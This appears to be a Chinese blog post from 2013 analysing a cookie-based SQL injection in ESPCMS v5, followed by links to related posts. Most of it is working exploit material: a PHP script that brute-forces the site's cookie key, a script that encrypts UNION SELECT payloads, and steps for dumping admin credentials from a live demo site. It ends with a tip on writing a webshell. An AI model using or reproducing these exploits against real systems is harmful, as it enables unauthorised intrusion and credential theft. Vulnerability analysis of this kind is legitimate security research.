发布时间:2013-04-01  关键词:Espcms sql注入 注入漏洞

漏洞分析:
interface\membermain.php 第 33行:

$db_sql = "SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid  WHERE a.userid = $this->ec_member_username_id ";

疑似存在int 注入漏洞,继续跟进 public\class_connector.php 第 415 行:

function member_purview($userrank = false, $url = null, $upurl = false) {
........
$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));
list($this->ec_member_username_id, $this->ec_member_alias, $this->ec_member_integral, $this->ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info;
.......
}

直接从cookie的 ecisp_member_info中取出来,不过这里有个加密函数——eccode,在public\class_function.php 第179 行:

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
    $result = '';
    if ($operation == 'ENCODE') {
        for ($i = 0; $i < strlen($string); $i++) {
            $char = substr($string, $i, 1);
            $keychar = substr($key, ($i % strlen($key)) - 1, 1);
            $char = chr(ord($char) + ord($keychar));
            $result.=$char;
        }
        $result = base64_encode($result);
        $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
    } elseif ($operation == 'DECODE') {
        $data = str_replace(array('-', '_'), array('+', '/'), $string);
        $mod4 = strlen($data) % 4;
        if ($mod4) {
            $data .= substr('====', $mod4);
        }
        $string = base64_decode($data);
        for ($i = 0; $i < strlen($string); $i++) {
            $char = substr($string, $i, 1);
            $keychar = substr($key, ($i % strlen($key)) - 1, 1);
            $char = chr(ord($char) - ord($keychar));
            $result.=$char;
        }
     }
     return $result;
}

此函数式是可逆的,只需要找出key——即系统中的db_pscode,继续跟进 db_pscode 生成 install\fun_center.php 第 238 行:

$pscode = rand('99', '999'); $config .= "define('db_pscode', '" . md5(md5($pscode)) . "');\r\n";

没有利用点,再看下 cookies中 ecisp_member_info的生成文件 interface\member.php 第 110 行:

$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]
|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));

用户id、名称、邮箱等等信息对于攻击者都是可获取的,枚举99到999 的key来匹配这些信息,计算出key之后即可以操作cookie传入任意sql语句。

利用代码:

<?php
@ini_set('memory_limit','-1');
set_time_limit(0);
 if ($argc < 5)
{
    Msg("Example: php   $argv[0]  abc 123 1@2.com  UZJZpmJKYZmRr4JZnmGBraGaaZJezwm6dl5huZZmXaZJklZ_DyJdkkmyYmm_JZ2ScYMqVlJjdbWlkaGeXyMaWl2eTnpiXw2Rja8WaaJuTamtkmJXJmJY",0);
}else{
 for($i=99;$i<=999;$i++){  
  $key=md5(md5($i));  
  msg("Test $i :".$key);
  $admin_ClassURL=md5("http://".$argv[1]."/");
  $temp='am2x4Wizl7SvwqXL1MulqpKmk5OnmNeucWlpZmpncWtutW6cbmeda26aaeLHmcqalWlimmtpk2NqmJWcaGaaZmtvbslvZ8pomsVix-KbyGZjZmiVb5Wbk3CTlGpslZtjanFqnW9wn55pxZiclw';
  $real_cookie_info=eccode($temp,'DECODE',$key); 
  if($real_cookie_info){    
   if(strpos($real_cookie_info,$argv[2])  && strpos($real_cookie_info,$argv[3]) && strpos($real_cookie_info,$admin_ClassURL)){    
    msg("The Key  Is :".$key);
    break;    
   }   
  }
 }
}

function  msg($str,$type=1){ 
 $str=($type) ? "[+]".$str : "[-]".$str;
 echo $str."\r\n"; 
}

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
 $result = '';
 if ($operation == 'ENCODE') {
  for ($i = 0; $i < strlen($string); $i++) {
   $char = substr($string, $i, 1);
   $keychar = substr($key, ($i % strlen($key)) - 1, 1);
   $char = chr(ord($char) + ord($keychar));
   $result.=$char;
  }
  $result = base64_encode($result);
  $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
 } elseif ($operation == 'DECODE') {
  $data = str_replace(array('-', '_'), array('+', '/'), $string);
  $mod4 = strlen($data) % 4;
  if ($mod4) {
   $data .= substr('====', $mod4);
  }
  $string = base64_decode($data);
  for ($i = 0; $i < strlen($string); $i++) {
   $char = substr($string, $i, 1);
   $keychar = substr($key, ($i % strlen($key)) - 1, 1);
   $char = chr(ord($char) - ord($keychar));
   $result.=$char;
  }
 }
 return $result;
}
?>

利用演示:

以官方演示站为例,几百次之后得到key= 95e87f86a2ffde5110e93c2823634927。
先实验下 select user()
Member_info 的明文为1 and  1=2  union select  1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28

Eccode解密:php espcms_v5_getsql.php。

espcms_v5_getsql.php代码:

<?php
@ini_set('memory_limit','-1');
set_time_limit(0);
//$sql_exp="  1 and  1=2  union select  1,2,3,(select concat(username,CHAR(0x7c),password)  from  espdemo_admin_member  limit 1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";
$sql_exp="  1 and  1=2  union select  1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";
//$key="dd6e0480f1d7a982463de3b3c9abb218";
$key="95e87f86a2ffde5110e93c2823634927";
file_put_contents("sql_exp.txt",eccode($sql_exp, 'ENCODE',$key));
msg("Generate exploit  succed > sql_exp.txt");
function  msg($str,$type=1){ 
 $str=($type) ? "[+]".$str : "[-]".$str;
 echo $str."\r\n"; 
}

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
 $result = '';
 if ($operation == 'ENCODE') {
  for ($i = 0; $i < strlen($string); $i++) {
   $char = substr($string, $i, 1);
   $keychar = substr($key, ($i % strlen($key)) - 1, 1);
   $char = chr(ord($char) + ord($keychar));
   $result.=$char;
  }
  $result = base64_encode($result);
  $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
 } elseif ($operation == 'DECODE') {
  $data = str_replace(array('-', '_'), array('+', '/'), $string);
  $mod4 = strlen($data) % 4;
  if ($mod4) {
   $data .= substr('====', $mod4);
  }
  $string = base64_decode($data);
  for ($i = 0; $i < strlen($string); $i++) {
   $char = substr($string, $i, 1);
   $keychar = substr($key, ($i % strlen($key)) - 1, 1);
   $char = chr(ord($char) - ord($keychar));
   $result.=$char;
  }
 }
 return $result;
}
?>

编辑cookies 传入注入语句:

刷新下会员中心 http://目标网站/index.php?ac=membermain&at=editinfo

爆出数据,测试可行,查询数据库:

$sql_exp=" 1 and  1=2  union select  1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";

得到当前数据库为 espcmsdemo,再查询表前缀:

select  table_name  from  information_schema.tables  where  table_schema=0x657370636D7364656D6F   limit  1

然后查管理员用户名和密码,得到管理员用户名和密码并解密md5后,即可登陆后台。

Tips:如果找不到后台,可以试试注入导出shell,爆绝对路径地址:interface/3gwap_search.php。

Espcms v5暴力破解key来实现sql注入相关推荐

  1. espcms5.7.13 sql注入漏洞复现

    espcms5.7.13 sql注入漏洞复现 作者: admin 时间: 2021-06-28 分类: 漏洞复现 使用代码审计工具自动审计,找到select语句,双击进入/adminsoft/cont ...

  2. 暴力破解、SQL注入

    如何查找网站后台 查找网站后台入口 1.手工找默认后台(开源类程序) admin/.admin/login.asp.manage.login.asp- 2.字典扫描 Web目录字典扫描方法,类似于暴力 ...

  3. 暴力破解键盘上所有组合的密码需要多久?

    暴力破解键盘上所有组合的密码需要多久? 暴力破解密码肯定是密码越长越复杂破解时间就越久,如果是大小写加数字加特殊字符肯定比单一的形式破解更为复杂困难,一般的口令密码都为6位或者8位,超过8位的比较少见 ...

  4. 3 sql注入 暴力破解

    information_schema所有信息都在这个库里面 1.如果没有权限访问information_schema库的话,是不是没有办法访问信息了? 2.假如管理员的安全意识好的话那么他叫mysql ...

  5. SQL SERVER 2008 R2安全配置与防暴力破解

    0x00 sql server 2008 权限介绍 在访问sql server 2008的过程中,大致验证流程如下图: 当登录操作一个数据库的时候,会经过三次验证: 1. 操作系统的验证 2. SQL ...

  6. web后台登录口令暴力破解及防御

    在实际网络安全评估测试中,前台是给用户使用,后台是给网站管理维护人员使用,前台功能相对简单,后台功能相对复杂,可能保护媒体文件上传,数据库管理等.前台用户可以自由注册,而后台是网站管理或者维护人员设定 ...

  7. Sublime Text 3143 Win32版本暴力破解过程

    Sublime Text是一款强大的文本编辑器,在不注册的情况下也可以使用,但标题栏的未注册字样与时不时弹出的nag窗口有时也让人感觉很不爽,于是尝试对其注册过程进行分析与破解. 截至写本篇文章时,S ...

  8. 使用Python暴力破解密码

    由于业务需求,今天项目对接了百度云智能的风控系统,注册和登陆保护,想来测试一下性能,用python写了一个脚本,暴力破解密码,看看会不会触发风控 一.首先在本地新建了一个数据库,保存已经试错过的密码 ...

  9. 入门系列之使用fail2ban防御SSH服务器的暴力破解攻击

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由SQL GM 发表于云+社区专栏 介绍 对于SSH服务的常见的攻击就是暴力破解攻击--远程攻击者通过不同的密码来无限次地进行登录尝试. ...

最新文章

  1. C++:多线程中的小白(1)基础概念
  2. 数学笔记:重要性采样
  3. Linux shell 进制转换
  4. Java面试之阻塞队列
  5. 【JAVASCRIPT】javascript获取屏幕,浏览器,网页高度宽度
  6. 西部开源学习笔记《unit 2》
  7. linux服务器如何访问,如何连接一个Linux服务器
  8. word中编辑公式及公式编号的对齐设置
  9. SQL2005数据库可疑的解决方法
  10. 分享一个 电子书下载网站 支持 ebook pdf azw3 epub mobi
  11. 用计算机打字英语,用来打字练习的英文文章
  12. [Markdown][HTML]特殊符号
  13. 七、VUE基础——悦听音乐播放器案例(vue+axios)
  14. 减肥日志:100天40斤!!
  15. An Efficient Joint Training Framework for Robust Small-Footprint Keyword Spotting(2020)
  16. 【面试题】Redis SETEX /SETNX 的用法和区别
  17. Spark随笔(三):straggler的产生原因
  18. Mac不同应用之间切换使用不同输入法
  19. 从被遗忘到牛市龙头,一文梳理ETH 2020爆发逻辑
  20. 北京移动宽带光猫 GM219-S 路由功能分离内置路由器改接外置路由器

热门文章

  1. 今天19:30 | 科普大佬说——青少年的AI修炼手册
  2. 编写Java程序_找星座朋友应用软件
  3. Ashampoo.UnInstaller.5.v5.00-TE
  4. 斯坦福大学iOS开发公开课总结
  5. OSChina 周二乱弹 —— 吾不好梦中插人
  6. PHP调用Python无返回或提示No Module
  7. 有哪些工具、技巧和方法极大地提高了工作效率?
  8. Zabbix 4.4升级到5.0
  9. XPO分页问题——明明已经做分页为什么加载数据那么慢
  10. 对图像高频信号和低频信号的理解